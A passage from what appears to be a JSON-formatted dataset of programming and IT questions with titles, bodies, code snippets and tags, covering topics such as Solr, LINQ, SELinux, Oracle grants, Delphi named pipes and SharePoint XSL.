card?\n\nIt seems to be already the way I want it after the BIOS is done. It
appears that Windows CE disables card configuration with a NoConfig registry flag.
I wasn't able to find a method that worked on Windows 7 or Windows XP.\nWindows XP
attempts to reconfigure the card's configuration space as well, but leaves it in a
usable state. Optionally, as it would increase my understanding, but is probably
tangential to getting my problem solved, I'm interested in:\n\nWhat difference is
the Windows 7 reconfiguration doing that is getting a different outcome in this
card than Windows XP gets?\n\n", "", "windows configuration windows-registry pci"],
"2748598": ["Can I use Solr term component with filtering on non-term fields",
"http://localhost:8080/search/terms?terms.prefix=ab&terms.fl=text&terms.sort=count\
nI have the above terms query which works as I expect. Returns all the terms from
the \"text\" field that have a certain prefix, sorted by count.\nI want to return
only the terms where another field \"language\" is \"en\" can I add such a filter
to a terms query?\n", "", "solr"], "3233652": ["InfoPath form template not
displaying in custom Application Page", "\nPossible Duplicate:\nSharePoint
InfoPath formviewer part \n\nI have a requirement for opening an InfoPath item from
an InfoPath library in a custom application page. Here is the code:\n\nI am not
able to view the InfoPath item but I am getting the view and close button only.\
nCould anyone help me to solve this issue ?\n", "XmlFormView formview = null;\
nformview = new XmlFormView();\nformview.Width = Asp.Unit.Percentage(100);\
nformview.Height = Asp.Unit.Pixel(800);\nformview.XsnLocation =
\"http://dev/infopathlibrary/forms/template.xsn\";\nformview.ShowHeader = false;\
nformview.ShowFooter = true;\nthis.Controls.Add(formview);\n", "development
infopath sharepoint-enterprise"], "4801592": ["How to use the LINQ where
expression?", "I'm implementing the service \\ repository pattern in a new project.
I've got a base interface that looks like this. Everything works great until I need
to use the GetMany method. I'm just not sure how to pass a LINQ expression into
the GetMany method. For example how would I simply sort a list of objects of type
name?\nnameRepository.GetMany( ? )\n\n", "public interface IRepository<T> where T :
class\n{\n void Add(T entity);\n void Update(T entity);\n void Delete(T
entity);\n void Delete(Expression<Func<T, bool>> where);\n T GetById(long
Id);\n T GetById(string Id);\n T Get(Expression<Func<T, bool>> where);\n
IEnumerable<T> GetAll();\n IEnumerable<T> GetMany(Expression<Func<T, bool>>
where);\n\n}\n\n\n\n public virtual IEnumerable<T> GetMany(Expression<Func<T,
bool>> where)\n {\n return dbset.Where(where).ToList();\n }\n", "linq entity-
framework repository-pattern"], "5603155": ["VS2010 crashes when loading specific
project, should I stop doing unit tests?", "I have a Test project in my solution.
It's contained in a closed solution folder. I open this folder and I get the usual\
n\nVS stopped working Windows is \"looking for a solution\n to the problem\"
(lying to you)\n\nand then it closes.\nI figured out that I could right click on
the folder and choose unload projects in this solution folder, and then the folder
opens, but when I try to reload the project it crashes.\nThen I deleted the
project, and created a new one, moved all files into this new project, reconfigured
a post build event (xcopy from to a few files in a folder) and it worked fine.\
nNow it's crashing again...\nMaybe it's Microsoft's way of telling me not to do
Unit Testing? :(\n", "$(ProjectDir)", "visual-studio-2010 unit-testing crash
project"], "5016963": ["Can a Linq query retrieve BLOBs from a Sql Database?", "And
how do they come out?\n", "", "sql-server linq-to-sql blob"], "3058522": ["How can
I get combined CPU usage for all CPUs in one line on Linux?", "I want to output the
following:\nAverage CPU utilization across all cores, over the last n seconds, in a
single percentage value.\nSo if I have 4 CPUs and their combined user and system
utilization over the last 10 seconds is:\n\nI want to be able to get this output:\
n\nSince the average of those utilizations is 25%.\nWhat is the simplest one-liner
to output this value?\n(Not being able to specify the duration is fine, as long as
it's a reasonable default).\n", "# not actual output\nCPU1 10%\nCPU2 20%\nCPU3 30%\
nCPU4 40%\n", "linux cpu-usage top"], "4839742": ["Solr - subqueries", "I need to
do a Solr sub-query, which if it was in MySQL would look like so:\n\nApparently
Solr Joins are very similar - http://wiki.apache.org/solr/Join. But these are only
available in Solr 4 it seems. Is there some way I can do this in Solr 3.X ?\
nIdeally a way compatible with the ComplexPhraseQueryParser and that the Solr PHP
Client or Solarium have support for.\nAny help is greatly appreciated.\nUPDATE:\
nAnother example which is not location related:\n\n", "SELECT *\nFROM solr_index\
nWHERE type = 'person' AND \ncity IN (SELECT name FROM solr_index WHERE name =
'London' AND type = 'city')\n", "join solr subquery"], "3616197": ["How do I set up
multiple folders for access on localhost in Ubuntu Linux?", "I'm working on
practicing my server setup/command line/Git/ruby
on rails skills in Ubuntu, and I have set a folder up with Ruby on Rails to do
so. This folder has a rails server which can be accessed at http://localhost:3000.
In addition, I am also setting up folders on the same level which contain local Git
repositories. While I am developing and hosting on Ubuntu, I am testing for IE bugs
in three virtual Windows machines. To do this with the rails server, I can access
192.168.1.3:3000 (or something similar) in the virtual machine for my virtualized
Ubuntu. How can I set my git folders up to be accessed the same way, despite the
fact that they are not in the folder the rails server is installed in, and are not
always going to be ruby projects?\nFor clairification, my folder setup is like
this:\n\n", "home\n www\n rails_project (localhost:3000/192.168.1.3:3000)\n
forked_git_repo\n forked_git_repo_2\n my_local_git_project\n
just_some_code_i_wanna_browser_test\n", "ubuntu server git"], "2818177": ["C++
multiple definition error", "Starting with sth's answer to this question:\n\
nhttp://stackoverflow.com/questions/3023760/c-template-specialization\n\nI was
wondering how to resolve multiple definition errors if the following code\nis put
in a header file included multiple times by different .cc files and linked
together:\n\n", "template <typename T>\nclass C {\n static const int K;\n
static ostream& print(ostream& os, const T& t) { return os << t;}\n};\n\n// general
case\ntemplate <typename T>\nconst int C<T>::K = 1;\n\n// specialization\ntemplate
<>\nconst int C<int>::K = 2;\n", "c++ multiple-definition-error"], "2283309":
["Anti Cloud Open Source License", "I'm working on a browser based open source
monitoring project that I want to be free to the community.\nWhat I'm worried about
is someone taking the project, renaming it, deploying it in the cloud and start
charging people who don't even know my project exists. I know I maybe shouldn't
mind, but it just sticks in my throat a bit if someone took a free ride like that
and contributed nothing back.\nIs there any common open source license that can
prevent this. I know GPL or AGPL don't.\n", "", "open-source licensing gpl agpl"],
"5144320": ["Get Element By using Class name", "I want Element by using class
name \nNow I am using GWT 2.0 \nPlease help me \nThanks\n", "", "javascript html
css dom gwt"], "460914": ["What would I find in /var/lib/ directory?", "I'm trying
to do some detective work and am hunting down a PostgreSQL installation. \nI've
only got some low level access and cannot see inside the folder, but have found
this likely candidate\n\nDo you think my search is over?\nDo you think my data is
in there too?\nI realise this is a highly stupid and speculative question. But I'm
after a good guess.\n", "/var/lib/pgsql/\n", "linux file-management"], "3052153":
["Android selecting a word in either a TextView or EditView", "I am trying to
figure out an easy way for a user to select a word, preferably by long pressing on
the word in a TextView. Basically, I have a TextView filled with text and I would
like the user to have the ability to long press the word and then display a
contextmenu so I can execute a database search? Is this possible? I can also switch
to an EditText as long as I can make it look like a TextView. Make sense?\
nThanks. \n", "", "android textview edittext"], "6012956": ["distinguishing between
pages using JavaScript", "I'm curious as to how I'd get JavaScript to distinguish
between two near identical pages which (as far as I can tell) have the same div's.
An example of a page like this would be Google Home Page vs. Google Search Results.
Is there anyway I can correctly identify which is which?\n", "", "javascript html-
parsing css-parsing"], "5927738": ["Silverlight SQL Deployment", "I'm about to
write an application in either Adobe Air or Silverlight, to run standalone,
offline, on the desktop. It's a simple enough application that allows the user to
enter text data and will then print formatted documents based on that information.
The obvious place to store all this relational data is in a database. I believe
Air comes with SQLite out of the box, so no problems there, but from what I can
tell Silverlight doesn't. How does Silverlight handle installing an out of browser
application that needs to access a local database? Does the user have to install
SQL/SQLite first and then Silverlight, or is there some way that Silverlight can
deploy that side of things itself?\nThanks\n", "", "database silverlight deployment
installation out-of-browser"], "5215316": ["asp.net button in css overlay div on
masterpage not firing on click event", "Im fairly new to umbraco, master pages and
all that, but im catching on..\nI seem to have this weird problem.. I have a set of
master pages with content with umbraco cms.. \nIn the master pages i have a common
menu and a login button.. This login button fires up an overlay, wich is contained
in a div within the same masterpage. There is another overlay to create a new user
on that same master page.. Problem is, the button OnClick in the login overlay does
not fire.. Funny thing is, the required property on my textboxes does fire... You
know, the message popping up saying you must enter something! But my custom
validator does nothing :S\nHere is the script in the header of my masterpage:\n\
nNot even the text in the textbox gets set to teeeesst! Any1 has any suggestions?\
nHere is the body containing the 2 divs:\n\n\n", "<script runat=\"server\">\n
private void btnLogin_Click(object sender, EventArgs e)\n {\n
Session[\"failedLogin\"] = false;\n string mail = tbLoginMail.Text.Trim();\n
string pass = tbLoginPass.Text;\n tbLoginMail.Text = \"TEEEEEEST!\";\n
PageUtil.User = PageUtil.ValidateCredentials(mail, pass);\n if
(PageUtil.User == null)\n {\n Session[\"failedLogin\"] = true;\n
}\n if (Page.IsValid)\n
Server.Transfer(Page.ResolveClientUrl(\"/\"));\n }\n\n private void
UserLoginResponse(object source, ServerValidateEventArgs args)\n {\n if
(Session[\"failedLogin\"] != null)\n {\n if
((bool)Session[\"failedLogin\"])\n {\n args.IsValid =
false;\n }\n }\n }\n</script>\n", "c# asp.net onclick master-
pages umbraco"], "4997876": ["How can I get the icon from a Windows XP
application?", "I\u2019m running Windows XP, and I\u2019d like to get a decent-
sized (e.g. 256x256) image file of the icon of an app I\u2019m running.\nOn the
Mac, I can right-click (take that, Jobs) on an app, select \u2018View Package
Contents\u2019, then find the app icon files in the \u2018Resources\u2019 folder.\
nCan I hunt down icon files for Windows XP apps in a similar manner?\n", "",
"windows-xp icons"], "4205198": ["How to display html in a shortcode", "How do you
display or process HTML in a wrapped shortcode ?\n\nmy shortcode code is \n\nis
there another function at the return to allow for $output to process the HTML and
not just display it as text ?\n", "[myshortcode]<div
class=\"map\"></div>[/myshortcode]", "shortcode"], "1615655": ["Android Spinner
OnItemSelected Called Erroneously (without user action on opening spinner)", "I
have a spinner which I am showing in a dialog view, and the moment the dialog
starts onItemSelected is called. I don't really want to process this but only when
user makes the selection. So I either need to prevent this (maybe because no
default value is set?), or I need to know it is not the user that is making this
selection? Thanks\n", "", "android spinner"], "5710718": ["google maps v2 fragment
nullpointer", "I am trying to work with google maps API V2 in my android project,
the problem is when I use the map that I got from the layout, I get
NullPointerException. I spent hours looking on the internet but I could't find
anything. I'm sorry if it has been already asked. \nHere's the layout containing
the fragment: \n\nHere's my MainActivity: \n\nThe \"toString\" thing is to reduce
the problem. Doesn't make any sense I know, but it should work.\nHere's the
Manifest file : \n\nHere's the log file: \n\nSorry again if it seems to be an
effortless question, but believe me, I've tried. \nThank you.\n", "<?xml
version=\"1.0\" encoding=\"utf-8\"?>\n\n<fragment
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:id=\"@+id/map\"\n android:layout_width=\"match_parent\"\n
android:layout_height=\"match_parent\"\n
class=\"com.google.android.gms.maps.MapFragment\" />\n", "android
nullpointerexception fragment google-maps-api-2 mapfragment"], "5003955": ["Python:
ServiceDesk PLus Servlet API", "I am new to programming in Python and am writing a
script for my company. We use ServiceDesk Plus which uses Servlet API. I want to
write a script that will auto create/close tickets upon alarms from Solarwinds. \nI
cannot figure out the syntax for auto creating a ticket using the servlet API in
python. Here is what I have (that does not work):\n\nAny help would be very
appreciated. \nEDIT: \nI tried what James recommended with no luck. here is what my
script looks like using that advice. \n\nThe errors:\n\n", "url =
'http://localhost:6970/servlets/RequestServlet/' \nparams = urllib.urlencode({\n
'operation': 'AddRequest',\n})\nresponse = urllib2.urlopen(url, params).read()\n",
"python servlets"], "1090193": ["Django's logout function remove locale settings",
"When I use Django's logout function to log out an authenticated user, it switched
locale to en_US, the default one.\n\nHow to keep user's locale after logged out?\
n", "from django.contrib.auth import logout\n\ndef someview(request):\n
logout(request)\n return HttpResponseRedirect('/')\n", "django
internationalization locale logout"], "644143": ["How to find out if select grant
is obtained directly or through a role", "One of the pitfalls
in Oracle is the fact that sometimes you can select from a table if you run a
query in SQLplus but that you can't when running the query from a stored procedure.
In order to run a query from a stored procedure you need a direct grant for the
object and not a grant obtained through a role.\nIf I see a table in the all_tables
view, how can I know if I can see this table because of a direct grant or because
of a role grant?\n", "", "oracle"], "5262641": ["How to force jboss to load classes
from jars in webapp's lib", "HI,\nI am trying to deploy my web application on
jboss-6.0.0Final, which is currently deployed on apache tomcat.\nI have two jars
one that contains same package that is org.apache.axis. I am putting one jar in
/server/default/lib & another jar in WEB-INF/lib.\nIt is required to put both jars
in the class path. No way to remove one of the jar. So I need to keep both jars. &
It is giving me following error\njava.lang.ClassCastException:
org.apache.axis.attachments.AttachmentsImpl cannot be cast to
org.apache.axis.attachments.Attachments\n at
org.apache.axis.AxisFault.makeFault(AxisFault.java:101)\n at
org.apache.axis.client.Call.invoke(Call.java:1828)\nI think it is due to conflict
of same classes in two different jars.\nNow, I want to know the way by which I can
force jboss to load classes of this particular package from axis.jar exist in /WEB-
INF/lib.\nHow can I do that? Please replay as early as possible\nThanks in
advance.\n", "", "jboss"], "4179299": ["MDX measures Filtering", "I have a MDX
query that gets Sales depending on Date, StateProduct and Country. Now I need to
know how many Sales are in One particular country and how many in the rest. \nIs it
possible to filter Sales measure into two differents measures? Like in the
example:\nMEMBER [Measures].[SalesOneParticular] AS\nFilter Sales measure in One
particular country.\nMEMBER [Measures].[SalesOthers] AS\nFilter Sales measure in
Other countries\nSELECT {[Measures].[SalesOneParticular],[Measures].[SalesOthers]}
ON COLUMNS\nThanks in advance.\n", "", "filter mdx"], "1258457": ["How to use the
is_in operator of the declarative_authorization?", "I have what seems to me to be a
simple rule, but I'm sure it's just my newness that is causing me to have problems
getting it to work.\nI have a user and a group. A group has a many-to-one
relationship with a user. A particular class () can have a user & group associated
with it. I want to determine authorization to the object if a users is a member of
the objects group. Basically, think of the UNIX filesystem security model.\nHere
is the rule I have written:\n\nI'm looking to include my \"idea\" in the code, but
it throws an error. I'm sure it's something silly I'm doing, I'm just not sure
what?\n\n", "declarative_authorization", "ruby-on-rails authorization
declarative"], "5976770": ["Reading cookies & cookie domains", "I have two servers:
the live server (mydomain.com) and the QA server (qa.mydomain.com). When I set
cookies I set the domain as respectively \".mydomain.com\"
and \".qa.mydomain.com\". One of these cookies, called \"session_id\" is used for
authentication and login purposes. It is obvious that a cookie for one domain will
not work on the other. However as I am prepending the dot to the domain PHP
sometimes reads the \".domain.com\" cookie on the QA server with the result that I
am not able to login.\nAre there ways to have PHP read the correct cookie?\n", "",
"php cookies session-cookies"], "3063800": ["Is database normalization still
necessary?", "Is database normalization still \"the thing?\"\nWhen I studied during
a databases course we were taught all levels of normalization and were said that we
must always do it.\nNow, with all the NoSQL movement, it seems normalization is no
longer the thing to do?\n", "", "database normalization"], "3066086": ["SELinux
prevents Nagios plugins from running on RHEL6", "After installing Nagios NRPE &
Nagios Plugins, I'm getting the following entry in my rsyslog:\n\nIt seems like my
Nagios plugins that I'm trying to execute through NRPE are being blocked by
SELinux. What should I do?\n", "May 13 14:01:30 wcmisdlin02 kernel: type=1400
audit(1305309690.482:2334): avc: denied { getattr } for pid=3835 comm=\"sh\"
path=\"/usr/bin/sudo\" dev=dm-0 ino=7355981
scontext=unconfined_u:system_r:nrpe_t:s0 tcontext=system_u:object_r:sudo_exec_t:s0
tclass=file\n", "linux nagios selinux nagios-plugins nrpe"], "3518690": ["Compaq
Deskpro EN: 1 long beep, 2 short beeps, caps lock flashes", "I have a Compaq
Deskpro EN and I am getting one long beep and two short beeps on bootup, the caps
lock light is flashing and no video. The case has a sticker which says this
means \"no video.\" But what video? There is no graphics card, at best there is a
2D accelerator integrated in the chipset somehow. \nAny tips on how to go about
fixing this would be appreciated.\n", "", "beep post"], "6014001": ["Strange
error \"sqlsrv_fetch_array(): 16 is not a valid ss_sqlsrv_stmt resource\" since
ReturnDatesAsStrings", "I am using the sqlsrv driver for IIS so I can connect to a
MS SQL server in PHP.\nI've managed to convert a lot of my original mysql_ code and
all going well, until I tried to SELECT some DateTime fields from the database.
They were coming back as Date objects in PHP rather than strings, I found the fix
which is adding this to the connection array:\n'ReturnDatesAsStrings'=>1\nSince
doing that though my code is broken when trying to populate my recordset:\n\nThe
error is: sqlsrv_fetch_array(): 16 is not a valid ss_sqlsrv_stmt resource\nThere is
such little amount of help on that error in Google so this is my only shot! I just
don't get it.\nrow_read is called from within a While: while ($row = $db-
>row_read($rs)) {\nAny ideas?\nJust to add more code and logic - I do a simple
SELECT of all my orders, then as it loops through them, I do another 2 SELECT's on
the orders table then the customer table. It's falling down when I try these extra
2 'gets':\n\n", " function row_read($recordset) {\n\n if (!$recordset) {\n
die('<br><br>Invalid query :<br><br><bold>' . $this->sql . '</bold><br><br>' .
sqlsrv_error());\n }\n\n $rs = sqlsrv_fetch_array($recordset);\n return
$rs;\n}\n", "php sql-server iis"], "3283248": ["SSRS - Mail the report on
Execution", "Is there any way in SSRS so that I can get the Report as a mail
attachment once it got executed. I am not asking about subscriptions. Please Help\
n", "", "ssrs-2008"], "2421966": ["ListBoxItem absolute position, Windows Phone 7",
"How can I get absolute (X,Y) position of ListBoxItem (top-left corner of it)
according to whole ListBox and visible ScrollViewer area? Looks like there is no
TranslatePoint() under WP7.\n", "", "windows-phone-7 listbox listboxitem"],
"3566231": ["How to recover Windows Vista from blackscreen (mouse and keyboard is
working)?", "I am a computer geek which I use all the resources of the computer,
and i have many opened and non-saved documents (especially notepad files that are
not saved). \nHere is the situation: I use differnet computers and all vista and
always get the same error . Once after a period of time, when in the waiting mode,
once the screensaver shows up, i cant re-open the windows . Just the blackscreen
shows up (i think it is because of the memory is like full) and the mouse cursor is
on, the keyboard responses (like caps-lock led goes on and off when i press the
button) but i cant turn back to windows. The computer is being opened about 3 days
and i cant close or reset it due to the files that i need to recover. (if i reset,
all the unsaved files will be gone) I pressed ctrl+alt+del or alt+f4 or ctrl+f4 and
no response. The problem is i guess, the logon is not working and cant open it due
to the lack of enough memory. I called microsofty guys and no response from their
engineers rather than resetting the computer. (and i know it works, i am an
electronics engineer!) I might do the hardcore work like dumpimh the ram into
something but dont know how to do it without opening the ram and freezing it..\nSo
please let me know the way to reopen the windows, (i know there might be some
people getting same problem since i got the same issue with different 3 computers
with different laptop models and brands) To open the windows back and save those
files.\nThanks\n", "", "windows-vista recovery freeze bsod black-screen-of-death"],
"5646884": ["Why doesn't file_get_contents work?", "Why does not work for me? In
the test file code below, it seems that everyone's examples that I've searched for
all have this function listed, but it never gets executed. Is this a problem with
the web hosting service? Can someone test this code on their server just to see if
the geocoding array output actually gets printed out as a string? Of course, I am
trying to assign the output to a variable, but there is no output here in this test
file....\n\n", "file_get_contents", "php geocoding file-get-contents"], "5039683":
["MYSQL LEFT join with 'LIKE'", "I am trying to join two tables. The issue is one
of the tables actually has a comma-separated list inside the cell. I need to join
on the 'csv cell.' Using my salad based example I want bacon to join with
bacon,turkey and give me a cobb_salad\n\nI tried the example above and a few other
varations. I realize this is not going to be an efficent query. The issue is that
the underlying dataset predates me. Luckily I only need to run the query once. \n\
n", " SELECT tbl_a.item, tbl_b.item, tbl_b.salad \n FROM tbl_a\nLEFT JOIN
tbl_b\n ON tbl_a.item LIKE CONCAT('%', tbl_b.item, '%')\n", "mysql left-join
like"], "2149647": ["Importing MakeFile as MingW Project", "I have a MingW exported
MakeFile ,which compiles great. The MingW project file (.mdsp) wasn't committed in
cvs at all. Is there a way i can import the MakeFile as MingW Project
or .mdsp generatore from MakeFile ?\nI wanted to use MingW in linux, because of
the IDE's i came around, this seems to so light weight ...\n", "", "c++ makefile
mingw"], "1485786": ["I would like to extract the SQL queries from Crystal
Report .rpt files, is there a way to do this?", "I would like to extract the SQL
queries from Crystal Report .rpt files, is there a way to do this?\nI don't have
any of the Crystal Reports products, just the .rpt files.\n", "", "sql query
crystal-reports report"], "2278596": ["Can we say objects have attributes, states
and behaviors?", "I was reading through Oracle's introduction to OOP concepts and I
came across this description:\n\nReal-world objects share two characteristics: They
all have state and\n behavior. Dogs have state (name, color, breed, hungry) and
behavior\n (barking, fetching, wagging tail). Software objects are conceptually\n
similar to real-world objects: they too consist of state and related\n behavior.\
n\nMy problem with that passage is that when describing state its mixes attributes
there too. For instance, the name and color of a dog are its attributes, while it
being hungry or thursty are its states. \nSo in my opinion it's more accurate to
break the characteristics of objects into three parts: attributes, states and
behaviors. \nSure, when translating this into a programming language I can see that
the three-fold partition becomes a two-fold one, because both attributes and states
will be stored into fields/variables, while behaviors will be store into
methods/functions.\nBut conceptually speaking it makes more sense to have the 3
things separate. \nHere's another example: consider a lamp. Saying that both the
lamp size and whether or not it's turned on are states is a stretch in my opinion.
The lamp size is an attribute, not a state, while it being turned on or off is a
state.\nOr did I miss something?\n", "", "object-oriented"], "4734409": ["When to
use ServiceLoader over something like OSGi", "Being someone who is allergic to
dependencies, when would I use something like OSGi instead of the built in java 6
http://java.sun.com/javase/6/docs/api/java/util/ServiceLoader.html (I want to let
plugin jars just be dropped in). \n(FYI this is in a scala app, open to any
suggestions, ServiceLoader is pretty damn close to what I want).\n", "", "java osgi
serviceloader"], "5578673": ["Enabling RSA Toolbar in IE8", "OS - Win7 Utlimate 64
bit\nI have installed the RSA security toolbar used to VPN into my corporate
network. I can see that RSA Toolbar is enabled in the Manage Add-Ons window.
However I do not see the toolbar when I right-click in the toolbar section in IE.
The add-on manger says that the toolbar is loaded but I cant get it to show in the
toolbars section\nAny ideas?\nTIA\n", "", "browser-addons internet-explorer-8
toolbar"], "3926703": ["A function that is $L^p$ for all $p$ but is not $L^\\
infty$?", "\nLet $X$ be the interval $[0,1]$ with Lebesgue measure. Is there a
function $f\\in L^p(X)$ for all $p\\in[1,\\infty)$ that is not $\\in L^\\infty(X)$?
If so, what is an example?\n\nMotivation: In a course on measure theory this fall,
I've learned proofs that $L^p(X)\\supset L^q(X)$ if $q>p$ and that if $f\\in L^\\
infty(X)$, then $\\|f\\|_\\infty = \\lim \\limits_{p\\to\\infty} \\|f\\|_p$. This
prompted me to wonder if $L^\\infty(X) = \\bigcap _p L^p(X)$. A classmate gave me a
general theoretical reason to believe the contrary: $L^p(X)$ is a reflexive space
for $1 \\lt p \\lt \\infty$ but not for $p=1,\\infty$; but intersections of
reflexive spaces are reflexive. This logic seems sound to me; but it implies the
containment $L^\\infty(X) \\subset \\bigcap_p L^p(X)$ is strict. If so, there must
be a function that is $L^p$ for all $p$ but not a.e. bounded. What is it?\n", "",
"real-analysis measure-theory functional-analysis"], "2446897": ["How to create the
JPA OSGI bundle", "I want to create the OSGI persistence service bundle with JPA
2.0. I am using OpenJpa as a persistence provider. \nI tried a sample OSGI bundle
with JPA support and I faced the problem when my client call the persistence
functionality. The service couldnt create the EntityManagerFactory. Always it is
null.\nI am using Apache Karaf as the platform to install the services.\nCurrently
I am creating a OSGI bundle in eclipse and export it as a bundle and deploy it in
Karaf. The client can call the service. But the issue is when I get
EntityManagerFactory. \nI am using bellow code to get EntityManagerFactory.\n\
nPlease provide me a clear idea how can I create the OSGI persitence bundle with
OpenJPA. \n", " OpenJPAEntityManagerFactory emf =
OpenJPAPersistence.createEntityManagerFactory\n
(\"StudentServiceProvider\",\"META-INF/persistence.xml\");\n", "osgi openjpa
apache-karaf osgi-bundle"], "2437032": ["Homepage slider not using correct images",
"I am currently in the process of starting my first blog. Currently, I am stumped.
I have a homepage slider that refuses to work with me. The documentation for the
theme I am currently using is located here. The problem I'm having is I can't
figure out how or what the slider decides to use as an image and then the caption
in the slider and how to add more to the slider. I would like it to be a the larger
picture 970x360 or something like that with the caption beneath it with 3 or more
pages to slide through, not have the description overlayed on it. I've gone into
the theme option and messed around to no avail. I'm am lost as to where to go from
here. For the visuals on the issues please see my blog.\n", "", "theme-
development"], "2721937": ["When/how to trigger update to a bound control (within a
tabpage)", "I have a form containing a TabControl, which itself contains 3
TabPages. The first two TabPages contain controls used for collecting settings from
the user, and the the third shows the result when the Go button is pressed.\nThe
controls are bound to a custom class, as follows:\n\nI found that I needed to
choose (rather than ) because certain controls are update programmatically and
validation events didn't appear to fire - thus changes to the values weren't fed
back to the underlying custom class.\nHowever, I've found that if the user doesn't
view the second settings TabPage, the properties aren't updated - it appears the
effects of the data-binding aren't felt until the controls are rendered on-screen.\
nI can get around this by programmatically cycling through the TabPages, when the
Go button is pressed, but I'd rather figure/learn the 'best' way of doing this. My
efforts so far seem a little clumsly and I feel there should be a slicker approach
somewhere.\n", "txtID.DataBindings.Add(\"Text\", profile, \"IdColumn\", False,
DataSourceUpdateMode.OnPropertyChanged)\n", "c# data-binding tabcontrol"],
"1148099": ["Named Pipes from Windows Service to Client Application", "My story is
that I am designing a new app which must communicate with a Windows service. After
much research I have come to the conclusion that Named Pipes are the recommended
method ( How do I send a string from one instance of my Delphi program to
another? ) however, it appears that I can't use SendMessage or Named Pipes in Win7
due to security problems... the messages never reach outside the service to the
application.\nI am using the Russell Libby's named Pipe components, which work
without a hitch between normal desktop apps, but the Windows service seems to be
throwing a wrench in the solution. Further research tells me that it may be
possible to open up security on both sides to let them communicate, however, my
knowledge level on this is minimal at best, and I haven't been able to make heads
or tails of the possible API calls.\nBased on the Delphi component pipes.pas, what
needs to be done to open up this baby so both sides can start talking? I'm sure
the following two functions from the pipes.pas file identify the security
attributes, is anyone able to help me out here?\nThanks!\n\n", "procedure
InitializeSecurity(var SA: TSecurityAttributes);\nvar\n sd: PSecurityDescriptor;\
nbegin\n\n // Allocate memory for the security descriptor\n sd :=
AllocMem(SECURITY_DESCRIPTOR_MIN_LENGTH);\n\n // Initialize the new security
descriptor\n if InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)
then\n begin\n // Add a NULL descriptor ACL to the security descriptor\n if
SetSecurityDescriptorDacl(sd, True, nil, False) then\n begin\n // Set up
the security attributes structure\n SA.nLength :=
SizeOf(TSecurityAttributes);\n SA.lpSecurityDescriptor := sd;\n
SA.bInheritHandle := True;\n end\n else\n // Failed to init the sec
descriptor\n RaiseWindowsError;\n end\n else\n // Failed to init the sec
descriptor\n RaiseWindowsError;\n\nend;\n\nprocedure FinalizeSecurity(var SA:
TSecurityAttributes);\nbegin\n\n // Release memory that was assigned to security
descriptor\n if Assigned(SA.lpSecurityDescriptor) then\n begin\n // Reource
protection\n try\n // Free memory\n FreeMem(SA.lpSecurityDescriptor);\
n finally\n // Clear pointer\n SA.lpSecurityDescriptor := nil;\n
end;\n end;\n\nend;\n", "delphi windows-services desktop-application c++builder
named-pipes"], "3171792": ["How to format the date column in itemstyle.xsl", "I'm
editing the itemstyle.xsl to produce my own styling for a Content Query Web Part
(CQWP) as follows: (NB - 2 laternative lines of code are shown as (A) and (B)\n\n\
nUsing line (A) works in that all the data is all pulled through (I have also
edited the CommonViewField in the webpart) \nHowever the date appears in this
format: 2011-04-21 10:00:00\nSo after a bit of googling I came across this: and
replaced (A) with (B)\nThe date field disappeared... (sigh)\nWhat do I need to do
to make the date appear in the correct format?\n", "<xsl:template
name=\"MyNewStyle\" match=\"Row[@Style='MyNewStyle']\"
mode=\"itemstyle\">\n<div class=\"SipAddress\">\n <xsl:value-of
select=\"@SipAddress\" />\n</div>\n<div class=\"LinkToolTip\">\n <xsl:value-of
select=\"@LinkToolTip\" />\n</div>\n<div class=\"OpenInNewWindow\">\n <xsl:value-
of select=\"@OpenInNewWindow\" />\n</div>\n<div class=\"OnClickForWebRendering\">\n
<xsl:value-of select=\"@OnClickForWebRendering\" />\n</div>\n <div>\n <table
width=\"100%\" >\n <tr>\n <td width=\"45%\" ><xsl:value-of select=\"@Title\"
/></td>\n <td width=\"33%\"><xsl:value-of select=\"@Location\" /></td>\n
(A) <td width=\"32%\"><xsl:value-of select=\"@EventDate\"/></td>\n (B) <td
width=\"32%\"><xsl:value-of select=\"msxsl:format-date(@EventDate, 'dd/mm/yyyy
h:mm')\"/></td>\n\n </tr>\n </table> \n </div>\n", "sharepoint-designer
content-query-web-part xslt"], "2400594": ["SQL Cross-Database Query", "\nPossible
Duplicate:\nCopy tables from one database to another in SQL Server \n\nI am trying
to copy the data of one table into another table and both are of different Database
say DB1 and DB2.Tables to create are TB1,TB2.but I am facing problem in doing
so.The approach is\n\nand the error coming is\n\n* Error *\nERROR: syntax error at
or near \"..\" SQL state: 42601 Character: 19 \n", "SELECT * \nINTO temp2.dbo.B\
nFROM temp.dbo.A", "mysql sql sql-server"], "3370951": ["How to set the permission
on files at the time of Upload through Amazon s3 API", "Is there any way to set the
file permission at the time of uploading files through Amazon S3 API.\nIn my
current solution i am able to upload the file on my bucket but i can not view the
file through the URL which is mentioned in the file properties section. It is
opening when i am passing access keys in query string.\nIs there any settings
required in Amazon S3 or i need to set the permissions to all the file at the time
of upload.\nThanks in Advance.\nKamal Kant Pansari\n", "", "c# api amazon-s3 amazon
file-permissions"], "2171814": ["AppletClassLoader exception : class not found", "I
am getting exception when i am trying to open an applet in my jsp.\nMy jsp and
applet is in same directory.\nMy code is like:\n\nMy AppletGenerator.class is
like:\n\nearlier it was woking fine. But now when i sign and verify the new jar its
giving exception:\n\nI have searched a lot but didnt get any correct answer. There
are few posts regarding this in stactoverflow but that also didnt work.\n",
"<object \n classid=\"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\" \n
width=\"720\" \n height=\"500\"`enter code here`\n type=\"application/x-java-
applet;version=1.5\">\n <param name=\"type\" value=\"application/x-java-
applet;version=1.5\">\n <param name=\"code\"
value=\"com.timer.AppletGenerator.class\"> \n <param name=\"codebase\"
value=\".\">\n <param name=\"ARCHIVE\" value=\"Applet.jar, jcommon-
1.0.0.jar, jfreechart-1.0.0.jar, log4j-1.2.13.jar, itext-1.3.1.jar\"\n embed
width=\"720\" \n height=\"500\"\n type=\"application/x-java-
applet;version=1.5\"\n code=\"com.timer.AppletGenerator.class\"\n
codebase=\".\"\n ARCHIVE='Applet.jar, jcommon-1.0.0.jar, jfreechart-
1.0.0.jar, log4j-1.2.13.jar, itext-1.3.1.jar'\n >\n
